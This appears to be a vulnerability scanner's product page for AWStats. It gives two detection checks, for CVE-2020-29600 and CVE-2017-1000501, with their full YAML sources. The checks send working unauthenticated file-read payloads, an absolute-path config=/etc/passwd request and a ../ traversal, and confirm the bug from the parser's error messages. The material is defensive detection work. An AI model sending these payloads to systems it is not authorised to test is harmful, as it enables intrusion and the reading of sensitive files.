AWStats — 2 vulnerability checks

noctis ships 2 vulnerability checks for AWStats, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

AWStats <= 7.7 config Parameter Absolute Path File Read

CVECVE-2020-29600
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/awstats/CVE-2020-29600.yaml

Tests AWStats 7.7 and earlier for an unauthenticated file read through the awstats.pl `config` parameter, which still accepts an absolute path (CVE-2020-29600, an incomplete fix for CVE-2017-1000501). It requests awstats.pl?config=/etc/passwd (then config=/windows/win.ini) in the web root, /cgi-bin, /awstats and /awstats/cgi-bin. The finding is reported when the reply carries AWStats' "Syntax error line ... in file '<requested file>'" warnings and its setup-failure message, which shows the system file was opened and parsed as a configuration file. A request for an absent file must come back without such warnings, so servers that echo any path are not reported.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/awstats.pl?config=/etc/passwd
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET {{dir}}/awstats.pl?config=/windows/win.ini
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{dir}}/awstats.pl?config=/etc/passwd.windows.win.ini.noctis-absent-{{m.tok}}
  7. Parses / computes the next value with a Rhai script
  8. Checks proof for ^AWStats parsed a system file → finding QoD 75: AWStats config parameter absolute path file read (CVE-2020-29600)

References:

Feed source — tests/vulnerabilities/awstats/CVE-2020-29600.yaml
# AWStats <= 7.7 config parameter absolute-path file read — CVE-2020-29600
#
# The CVE-2017-1000501 fix (7.7) strips ".." from the awstats.pl `config`
# parameter, but Read_Config() still ends with a "full path" fallback:
#
#   my $SiteConfigBis = File::Spec->rel2abs($SiteConfig);
#   if ( -f $SiteConfigBis && open(CONFIG, "$SiteConfigBis")) { ... }
#
# so `config=/etc/passwd` makes the CGI open /etc/passwd and parse it as its
# config file. Every line without "=" yields
#   Warning: Syntax error line <n> in file '/etc/passwd'. Config line is ignored.
# and the run then dies on "LogFile parameter is not defined" followed by
#   Setup ('/etc/passwd' file, web server or permissions) may be wrong.
# 7.8 comments the fallback out: the reply is "Couldn't open config file
# "awstats./etc/passwd.conf" nor "awstats.conf"" with no syntax warning.
# (Read from the 7.7 and 7.8 release tarballs, wwwroot/cgi-bin/awstats.pl.)
#
# Detection (QoD 75), per candidate install dir ("", /cgi-bin, /awstats,
# /awstats/cgi-bin): GET <dir>/awstats.pl?config=/etc/passwd, then
# config=/windows/win.ini (Windows; rel2abs may add a drive letter and
# backslashes). A hit needs a "Syntax error line" warning naming the requested
# file plus the setup-failure line. An absent-file control
# (config=/etc/passwd.windows.win.ini.noctis-absent-<random>) must answer
# without any syntax warning, so blanket responders are not reported.
# The `/` sits in the query string, which http_request sends verbatim.
#
# Better than the source check: the warning must name the requested file (not
# just contain it anywhere), Windows paths with a drive letter or backslashes
# are recognised, the usual install dirs are tried without a separate product
# detection, and the absent-file control rules out blanket responders.
#
# Ported from OpenVAS/Greenbone NVT 2020/awstats/gb_awstats_file_read_vuln_nov20.nasl
# (OID 1.3.6.1.4.1.25623.1.0.145066) — GPL-2.0-only.
uid: c94dfd9d-bd71-4de2-8b97-024eb0939a6a
name: "AWStats <= 7.7 config Parameter Absolute Path File Read (CVE-2020-29600)"
description: |
  Tests AWStats 7.7 and earlier for an unauthenticated file read through the
  awstats.pl `config` parameter, which still accepts an absolute path
  (CVE-2020-29600, an incomplete fix for CVE-2017-1000501). It requests
  awstats.pl?config=/etc/passwd (then config=/windows/win.ini) in the web root,
  /cgi-bin, /awstats and /awstats/cgi-bin. The finding is reported when the
  reply carries AWStats' "Syntax error line ... in file '<requested file>'"
  warnings and its setup-failure message, which shows the system file was opened
  and parsed as a configuration file. A request for an absent file must come
  back without such warnings, so servers that echo any path are not reported.
cves: [CVE-2020-29600]
cvss: 9.8
severity: critical
confidence_base: 0.30
category: file-read
tags: [awstats, path-traversal, lfi, file-read, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-29600"
  - "OpenVAS/Greenbone NVT 2020/awstats/gb_awstats_file_read_vuln_nov20.nasl (GPL-2.0-only)"

steps:
  - id: mint
    action: script
    code: '#{ tok: rand_hex(16) }'
    store_as: m

  # ── Loop group: every step below runs once per candidate install dir ──
  # Pre-initialise every stored result a script reads (an undefined variable
  # aborts the whole test).
  - id: init-rp
    action: set_var
    var_name: rp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/cgi-bin", "/awstats", "/awstats/cgi-bin"]
      var: dir

  - id: init-rw
    action: set_var
    var_name: rw
    var_value: {status: 0, body: null}

  - id: init-ctrl
    action: set_var
    var_name: ctrl
    var_value: {status: 0, body: null}

  - id: init-hit
    action: set_var
    var_name: hit
    var_value: ""

  - id: init-proof
    action: set_var
    var_name: proof
    var_value: ""

  - id: probe-passwd
    action: http_request
    method: GET
    path: "{{dir}}/awstats.pl?config=/etc/passwd"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: rp

  - id: verify-passwd
    action: script
    code: |
      let b = rp.body;
      if type_of(b) == "string" && rp.status == 200
         && stridx(b, "file, web server or permissions) may be wrong.") >= 0 {
        let w = eregmatch("Warning: Syntax error line ([0-9]+) in file '(/etc/passwd)'", b);
        if w.len() > 2 { "line " + w[1] + " of '" + w[2] + "' (config=/etc/passwd)" } else { "" }
      } else { "" }
    store_as: hit

  - id: probe-winini
    action: http_request
    method: GET
    path: "{{dir}}/awstats.pl?config=/windows/win.ini"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: 'hit == ""'
    store_as: rw

  - id: verify-winini
    action: script
    condition: 'hit == ""'
    code: |
      let b = rw.body;
      if type_of(b) == "string" && rw.status == 200
         && stridx(b, "file, web server or permissions) may be wrong.") >= 0 {
        let w = eregmatch("Warning: Syntax error line ([0-9]+) in file '((?:[A-Za-z]:)?[\\\\/]windows[\\\\/]win\\.ini)'", b, true);
        if w.len() > 2 { "line " + w[1] + " of '" + w[2] + "' (config=/windows/win.ini)" } else { "" }
      } else { "" }
    store_as: hit

  # Absent-file control: same parameter, a file that cannot exist. Its name still
  # contains the probed names so a responder keyed on them answers it too.
  - id: control
    action: http_request
    method: GET
    path: "{{dir}}/awstats.pl?config=/etc/passwd.windows.win.ini.noctis-absent-{{m.tok}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: 'hit != ""'
    store_as: ctrl

  - id: verdict
    action: script
    condition: 'hit != ""'
    code: |
      let c = ctrl.body;
      if ctrl.status != 0 && !(type_of(c) == "string" && stridx(c, "Syntax error line") >= 0) {
        "AWStats parsed a system file as its config at " + dir + "/awstats.pl: syntax warning for " + hit
          + "; an absent-file control produced no warning"
      } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^AWStats parsed a system file"
    condition: 'hit != "" && proof != ""'
    on_match:
      stop: true
      finding:
        title: "AWStats config parameter absolute path file read (CVE-2020-29600)"
        confidence_delta: 0.55
        qod: 75
        evidence: "{{proof}}"
        remediation: "Upgrade AWStats to 7.8 or later. Until then, restrict access to awstats.pl (authentication or IP allow-list) or set AWSTATS_FORCE_CONFIG in the web server environment so the config parameter is ignored."

AWStats config Parameter Directory Traversal

CVECVE-2017-1000501
Severitycritical · CVSS 9.8
Categoryfile-read — File read
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/awstats/CVE-2017-1000501.yaml

Tests AWStats for an unauthenticated directory traversal in the awstats.pl `config` parameter. A request with config=../../../../../etc/passwd that returns HTTP 200 echoing the traversal path alongside AWStats config-parser warnings shows the traversed file was loaded as a config file. QoD 75.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /awstats.pl?config=../../../../../etc/passwd HTTP/1.0
  2. Checks r_root.banner for (?s)^HTTP/1\.[01] 200.*\.\./\.\./\.\./\.\./\.\./etc/passwd → finding QoD 75: AWStats config traversal at /awstats.pl?config=../../../../../etc/passwd: …
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /cgi-bin/awstats.pl?config=../../../../../etc/passwd HTTP/1.0
  4. Checks r_cgibin.banner for (?s)^HTTP/1\.[01] 200.*\.\./\.\./\.\./\.\./\.\./etc/passwd → finding QoD 75: AWStats config traversal at /cgi-bin/awstats.pl?config=../../../../../etc/passwd: …
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /awstats/awstats.pl?config=../../../../../etc/passwd HTTP/1.0
  6. Checks r_awstats.banner for (?s)^HTTP/1\.[01] 200.*\.\./\.\./\.\./\.\./\.\./etc/passwd → finding QoD 75: AWStats config traversal at /awstats/awstats.pl?config=../../../../../etc/passwd: …
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /awstats/cgi-bin/awstats.pl?config=../../../../../etc/passwd HTTP/1.0
  8. Checks r_awstatscgi.banner for (?s)^HTTP/1\.[01] 200.*\.\./\.\./\.\./\.\./\.\./etc/passwd → finding QoD 75: AWStats config traversal at /awstats/cgi-bin/awstats.pl?config=../../../../../etc/passwd: …

References:

Feed source — tests/vulnerabilities/awstats/CVE-2017-1000501.yaml
# AWStats config parameter directory traversal — CVE-2017-1000501
#
# AWStats < 7.7 uses the `config` parameter of awstats.pl to build the path of
# the configuration file it loads without stripping `../` sequences, so an
# unauthenticated request can make it parse an arbitrary file as its config.
#
# Detection (active, response analysis): request
#   <dir>/awstats.pl?config=../../../../../etc/passwd
# and require an HTTP 200 whose body echoes the traversal path together with
# AWStats' config-parser diagnostics ("Warning: Syntax error line" and
# "file, web server or permissions) may be wrong."), proving the traversed file
# was opened and parsed as a config file. QoD 75.
#
# The `../` payload goes out verbatim over tcp_connect (reqwest would normalise
# it away). Install dirs: `/` plus the usual AWStats CGI locations.
#
# Ported from OpenVAS/Greenbone NVT 2018/awstats/gb_awstats_dir_trav_vuln.nasl
# (install dirs from gb_awstats_http_detect.nasl) — GPL-2.0-only.
uid: 51d50f91-25cf-4eb5-8a12-c740bf521378
name: "AWStats config Parameter Directory Traversal (CVE-2017-1000501)"
description: |
  Tests AWStats for an unauthenticated directory traversal in the awstats.pl
  `config` parameter. A request with config=../../../../../etc/passwd that
  returns HTTP 200 echoing the traversal path alongside AWStats config-parser
  warnings shows the traversed file was loaded as a config file. QoD 75.
cves: [CVE-2017-1000501]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [awstats, path-traversal, lfi, unauthenticated]
category: file-read
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-1000501"
  - "OpenVAS/Greenbone NVT 2018/awstats/gb_awstats_dir_trav_vuln.nasl (GPL-2.0-only)"

steps:
  - id: trav-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /awstats.pl?config=../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: r_root

  - id: match-root
    action: match
    source: r_root.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*\\.\\./\\.\\./\\.\\./\\.\\./\\.\\./etc/passwd"
    condition: "r_root.connected == true && r_root.banner.contains(\"Warning: Syntax error line\") && r_root.banner.contains(\"file, web server or permissions) may be wrong.\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AWStats config traversal at /awstats.pl?config=../../../../../etc/passwd: {{r_root.banner}}"
      stop: true

  - id: trav-cgibin
    action: tcp_connect
    port: "{{port}}"
    send: "GET /cgi-bin/awstats.pl?config=../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: r_cgibin

  - id: match-cgibin
    action: match
    source: r_cgibin.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*\\.\\./\\.\\./\\.\\./\\.\\./\\.\\./etc/passwd"
    condition: "r_cgibin.connected == true && r_cgibin.banner.contains(\"Warning: Syntax error line\") && r_cgibin.banner.contains(\"file, web server or permissions) may be wrong.\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AWStats config traversal at /cgi-bin/awstats.pl?config=../../../../../etc/passwd: {{r_cgibin.banner}}"
      stop: true

  - id: trav-awstats
    action: tcp_connect
    port: "{{port}}"
    send: "GET /awstats/awstats.pl?config=../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: r_awstats

  - id: match-awstats
    action: match
    source: r_awstats.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*\\.\\./\\.\\./\\.\\./\\.\\./\\.\\./etc/passwd"
    condition: "r_awstats.connected == true && r_awstats.banner.contains(\"Warning: Syntax error line\") && r_awstats.banner.contains(\"file, web server or permissions) may be wrong.\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AWStats config traversal at /awstats/awstats.pl?config=../../../../../etc/passwd: {{r_awstats.banner}}"
      stop: true

  - id: trav-awstatscgi
    action: tcp_connect
    port: "{{port}}"
    send: "GET /awstats/cgi-bin/awstats.pl?config=../../../../../etc/passwd HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: r_awstatscgi

  - id: match-awstatscgi
    action: match
    source: r_awstatscgi.banner
    pattern: "(?s)^HTTP/1\\.[01] 200.*\\.\\./\\.\\./\\.\\./\\.\\./\\.\\./etc/passwd"
    condition: "r_awstatscgi.connected == true && r_awstatscgi.banner.contains(\"Warning: Syntax error line\") && r_awstatscgi.banner.contains(\"file, web server or permissions) may be wrong.\")"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "AWStats config traversal at /awstats/cgi-bin/awstats.pl?config=../../../../../etc/passwd: {{r_awstatscgi.banner}}"
      stop: true

View these feeds on GitHub